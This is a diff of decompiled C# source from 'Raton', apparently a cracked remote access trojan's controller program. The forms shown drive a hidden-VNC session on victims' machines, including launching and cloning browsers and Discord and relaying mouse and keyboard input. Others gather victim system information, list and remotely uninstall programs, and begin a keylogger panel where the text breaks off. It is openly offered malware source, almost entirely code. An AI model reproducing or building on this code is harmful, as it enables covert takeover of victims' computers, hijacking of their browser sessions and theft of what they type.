pack6.SetString("Packet", "HVNC");
|
||||
pack6.SetInt("Action", 9);
|
||||
this.SillyClient.Send(pack6.Pacc());
|
||||
break;
|
||||
case "Open Opera":
|
||||
Pack pack7 = new Pack();
|
||||
pack7.SetString("Packet", "HVNC");
|
||||
pack7.SetInt("Action", 11);
|
||||
this.SillyClient.Send(pack7.Pacc());
|
||||
break;
|
||||
case "Open OperaGX":
|
||||
Pack pack8 = new Pack();
|
||||
pack8.SetString("Packet", "HVNC");
|
||||
pack8.SetInt("Action", 12);
|
||||
this.SillyClient.Send(pack8.Pacc());
|
||||
break;
|
||||
default:
|
||||
int num = (int) Messenger.MessageBox("Please select a valid option");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void customSwitch1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.customSwitch1.Checked)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 6);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 7);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void VNCBox_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
pack.SetInt("Msg", 513);
|
||||
pack.SetInt("WParam", 1);
|
||||
}
|
||||
else if (e.Button == MouseButtons.Right)
|
||||
{
|
||||
pack.SetInt("Msg", 516);
|
||||
pack.SetInt("WParam", 2);
|
||||
}
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_MouseUp(object sender, MouseEventArgs e)
|
||||
{
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
pack.SetInt("Msg", 514);
|
||||
pack.SetInt("WParam", 0);
|
||||
}
|
||||
else if (e.Button == MouseButtons.Right)
|
||||
{
|
||||
pack.SetInt("Msg", 517);
|
||||
pack.SetInt("WParam", 0);
|
||||
}
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.None)
|
||||
return;
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 512 /*0x0200*/);
|
||||
pack.SetInt("WParam", 0);
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonHVNC_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 258);
|
||||
pack.SetInt("WParam", (int) e.KeyChar);
|
||||
pack.SetInt("LParam", 0);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonHVNC_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!char.IsControl((char) e.KeyCode))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 256 /*0x0100*/);
|
||||
pack.SetInt("WParam", (int) e.KeyCode);
|
||||
pack.SetInt("LParam", 0);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_Click(object sender, EventArgs e) => this.VNCBox.Focus();
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.panel1.Tag == (object) "one")
|
||||
{
|
||||
this.panel1.Visible = true;
|
||||
this.panel1.Tag = (object) "two";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.panel1.Tag = (object) "one";
|
||||
}
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e) => this.FPS = 0;
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHVNC));
|
||||
this.VNCBox = new PictureBox();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.panel1 = new Panel();
|
||||
this.label3 = new Label();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.customSwitch1 = new CustomSwitch();
|
||||
this.label2 = new Label();
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
((ISupportInitialize) this.VNCBox).BeginInit();
|
||||
this.panel1.SuspendLayout();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.VNCBox.BackgroundImage = (Image) Resources.DeleteAllRows_16x;
|
||||
this.VNCBox.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.VNCBox.Dock = DockStyle.Fill;
|
||||
this.VNCBox.Location = new Point(0, 24);
|
||||
this.VNCBox.Name = "VNCBox";
|
||||
this.VNCBox.Size = new Size(1081, 644);
|
||||
this.VNCBox.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.VNCBox.TabIndex = 8;
|
||||
this.VNCBox.TabStop = false;
|
||||
this.VNCBox.Click += new EventHandler(this.VNCBox_Click);
|
||||
this.VNCBox.MouseDown += new MouseEventHandler(this.VNCBox_MouseDown);
|
||||
this.VNCBox.MouseMove += new MouseEventHandler(this.VNCBox_MouseMove);
|
||||
this.VNCBox.MouseUp += new MouseEventHandler(this.VNCBox_MouseUp);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_checkmark_circle_24_filled;
|
||||
this.button1.IconSize = 20;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(20, 93);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(419, 40);
|
||||
this.button1.TabIndex = 10;
|
||||
this.button1.Text = "Execute action";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(338, 65);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(101, 17);
|
||||
this.label1.TabIndex = 12;
|
||||
this.label1.Text = "Clone browsers";
|
||||
this.panel1.Controls.Add((Control) this.label3);
|
||||
this.panel1.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel1.Controls.Add((Control) this.button1);
|
||||
this.panel1.Controls.Add((Control) this.label1);
|
||||
this.panel1.Controls.Add((Control) this.customSwitch1);
|
||||
this.panel1.Controls.Add((Control) this.label2);
|
||||
this.panel1.Location = new Point(0, 24);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(458, 154);
|
||||
this.panel1.TabIndex = 13;
|
||||
this.panel1.Tag = (object) "one";
|
||||
this.panel1.Visible = false;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(132, 29);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(215, 16 /*0x10*/);
|
||||
this.label3.TabIndex = 14;
|
||||
this.label3.Text = "Manage the current HVNC Session";
|
||||
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Items.AddRange(new object[8]
|
||||
{
|
||||
(object) "Open File explorer",
|
||||
(object) "Open Chrome",
|
||||
(object) "Open Brave",
|
||||
(object) "Open Edge",
|
||||
(object) "Open Firefox",
|
||||
(object) "Open Opera",
|
||||
(object) "Open OperaGX",
|
||||
(object) "Open Discord"
|
||||
});
|
||||
this.flatComboBox1.Location = new Point(20, 62);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(266, 25);
|
||||
this.flatComboBox1.TabIndex = 9;
|
||||
this.flatComboBox1.Text = "Select actions here";
|
||||
this.customSwitch1.AutoSize = true;
|
||||
this.customSwitch1.Location = new Point(292, 63 /*0x3F*/);
|
||||
this.customSwitch1.MinimumSize = new Size(45, 22);
|
||||
this.customSwitch1.Name = "customSwitch1";
|
||||
this.customSwitch1.OffBackColor = Color.Gray;
|
||||
this.customSwitch1.OffToggleColor = Color.Gainsboro;
|
||||
this.customSwitch1.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.customSwitch1.OnToggleColor = Color.WhiteSmoke;
|
||||
this.customSwitch1.Size = new Size(45, 22);
|
||||
this.customSwitch1.TabIndex = 11;
|
||||
this.customSwitch1.UseVisualStyleBackColor = true;
|
||||
this.customSwitch1.CheckedChanged += new EventHandler(this.customSwitch1_CheckedChanged);
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft Sans Serif", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(203, 13);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(54, 18);
|
||||
this.label2.TabIndex = 13;
|
||||
this.label2.Text = "HVNC";
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(1081, 24);
|
||||
this.menuStrip1.TabIndex = 14;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.ImageScaling = ToolStripItemImageScaling.None;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(1081, 668);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.VNCBox);
|
||||
this.Controls.Add((Control) this.menuStrip1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonHVNC);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonHVNC);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonHVNC_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonHVNC_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonHVNC_KeyDown);
|
||||
this.KeyPress += new KeyPressEventHandler(this.ratonHVNC_KeyPress);
|
||||
((ISupportInitialize) this.VNCBox).EndInit();
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,174 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonInformation
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Newtonsoft.Json;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonInformation : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
public Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem saveToolStripMenuItem;
|
||||
public Label label1;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonInformation()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonInformation_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void saveToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
if (!Directory.Exists(str1))
|
||||
return;
|
||||
List<Dictionary<string, string>> dictionaryList = new List<Dictionary<string, string>>();
|
||||
foreach (ListViewItem listViewItem in this.aeroListView1.Items)
|
||||
{
|
||||
Dictionary<string, string> dictionary = new Dictionary<string, string>()
|
||||
{
|
||||
{
|
||||
"Information",
|
||||
listViewItem.SubItems[0].Text
|
||||
},
|
||||
{
|
||||
"Content",
|
||||
listViewItem.SubItems[1].Text
|
||||
}
|
||||
};
|
||||
dictionaryList.Add(dictionary);
|
||||
}
|
||||
try
|
||||
{
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string path = Path.Combine(str1, $"client_info_{str2}.json");
|
||||
string contents = JsonConvert.SerializeObject((object) dictionaryList, Formatting.Indented);
|
||||
File.WriteAllText(path, contents);
|
||||
int num = (int) Messenger.MessageBox("Client information saved in:\n" + path, "Save", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonInformation));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.saveToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.label1 = new Label();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.saveToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(99, 26);
|
||||
this.saveToolStripMenuItem.Image = (Image) Resources.SaveAll_16x1;
|
||||
this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
|
||||
this.saveToolStripMenuItem.Size = new Size(98, 22);
|
||||
this.saveToolStripMenuItem.Text = "Save";
|
||||
this.saveToolStripMenuItem.Click += new EventHandler(this.saveToolStripMenuItem_Click);
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(504, 508);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "ResourceSymbols_16x.png");
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(504, 508);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.Visible = false;
|
||||
this.columnHeader1.Text = "Resource";
|
||||
this.columnHeader1.Width = 184;
|
||||
this.columnHeader2.Text = "Value";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 318;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(504, 508);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonInformation);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonInformation);
|
||||
this.Load += new EventHandler(this.ratonInformation_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,178 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonInstalledPrograms
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonInstalledPrograms : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem uninstallToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
public Label label1;
|
||||
public ImageList imageList1;
|
||||
public Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonInstalledPrograms()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonInstalledPrograms_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Programs");
|
||||
pack.SetString("Command", "Uninstall");
|
||||
pack.SetString("Name", selectedItem.Tag.ToString());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
this.aeroListView1.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Programs");
|
||||
pack1.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView1.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Programs");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonInstalledPrograms));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.uninstallToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "Admin.png");
|
||||
this.contextMenuStrip1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[2]
|
||||
{
|
||||
(ToolStripItem) this.uninstallToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(125, 48 /*0x30*/);
|
||||
this.uninstallToolStripMenuItem.Image = (Image) Resources.Uninstall_16x;
|
||||
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
||||
this.uninstallToolStripMenuItem.Size = new Size(124, 22);
|
||||
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
||||
this.uninstallToolStripMenuItem.Click += new EventHandler(this.uninstallToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(124, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(535, 591);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Loading...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[3]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(535, 591);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 182;
|
||||
this.columnHeader2.Text = "Version";
|
||||
this.columnHeader2.Width = 124;
|
||||
this.columnHeader3.Text = "Publisher";
|
||||
this.columnHeader3.Width = 227;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(535, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonInstalledPrograms);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonInstalledPrograms);
|
||||
this.Load += new EventHandler(this.ratonInstalledPrograms_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,78 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonKeylogger
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
